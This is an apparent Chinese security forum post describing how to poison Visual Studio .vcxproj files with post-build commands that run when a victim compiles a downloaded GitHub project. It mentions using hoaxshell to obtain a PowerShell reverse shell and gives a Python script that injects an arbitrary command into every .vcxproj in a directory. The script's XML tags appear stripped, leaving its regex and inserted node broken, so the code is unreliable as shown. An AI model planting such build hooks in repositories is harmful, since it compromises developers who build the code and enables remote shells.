漏洞的形成主要是因为Visual Studio的项目文件(vcxproj)是基于XML格式的,XML文件本身并不包含可执行代码。然而,Visual Studio的XML解析器允许在项目文件中包含一些自定义的命令,这些命令可以在构建项目时被执行。
正常情况下使用Visual Studio去编译github上下载的项目
通过修改Visual Studio的项目文件(vcxproj)植入恶意命令
当项目被下载编译时机会执行命令
可以直接反弹shell,通过hoaxshell直接生成powershell,并开启监听
将代码插入Visual Studio的项目文件(vcxproj)的XML标签中
直接编译,终端反弹shell
漏洞利用脚本:
import argparse
import os
import re
# 解析命令行参数
parser = argparse.ArgumentParser(description='Insert PostBuildEvent node into .vcxproj files.')
parser.add_argument('-d', '--directory', metavar='directory', type=str, default='.', help='the directory to search for .vcxproj files')
parser.add_argument('-c', '--command', metavar='command', type=str, default='calc.exe', help='the command to be executed in the PostBuildEvent node')
args = parser.parse_args()
# 定义正则表达式,用于匹配.vcxproj文件中的标签
property_group_pattern = re.compile(r'\s*')
# 定义插入的节点内容
post_build_event_node = '\n\n \n {command}\n \n\n'.format(command=args.command)
# 遍历指定目录下的所有文件和子目录
for root, dirs, files in os.walk(args.directory):
# 遍历当前目录下的所有文件
for file in files:
# 如果文件扩展名是.vcxproj,则进行处理
if file.endswith('.vcxproj'):
file_path = os.path.join(root, file)
# 打开文件,读取全部内容
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
# 在标签后插入节点
new_content = property_group_pattern.sub(post_build_event_node + '\\g', content)
# 如果文件内容有变化,则写回文件
if new_content != content:
with open(file_path, 'w', encoding='utf-8') as f:
f.write(new_content)
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-聂风 | 85.00 | 0 | 2023-04-28 16:04:34 | 活动奖励 |
Track-聂风 | 85.00 | 0 | 2023-04-28 16:04:31 | 投稿奖励 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-聂风
发表于 2023-4-28
有点意思的~
评论列表
加载数据中...
吴坤
发表于 2023-5-4
看不懂,但感觉很厉害!
评论列表
加载数据中...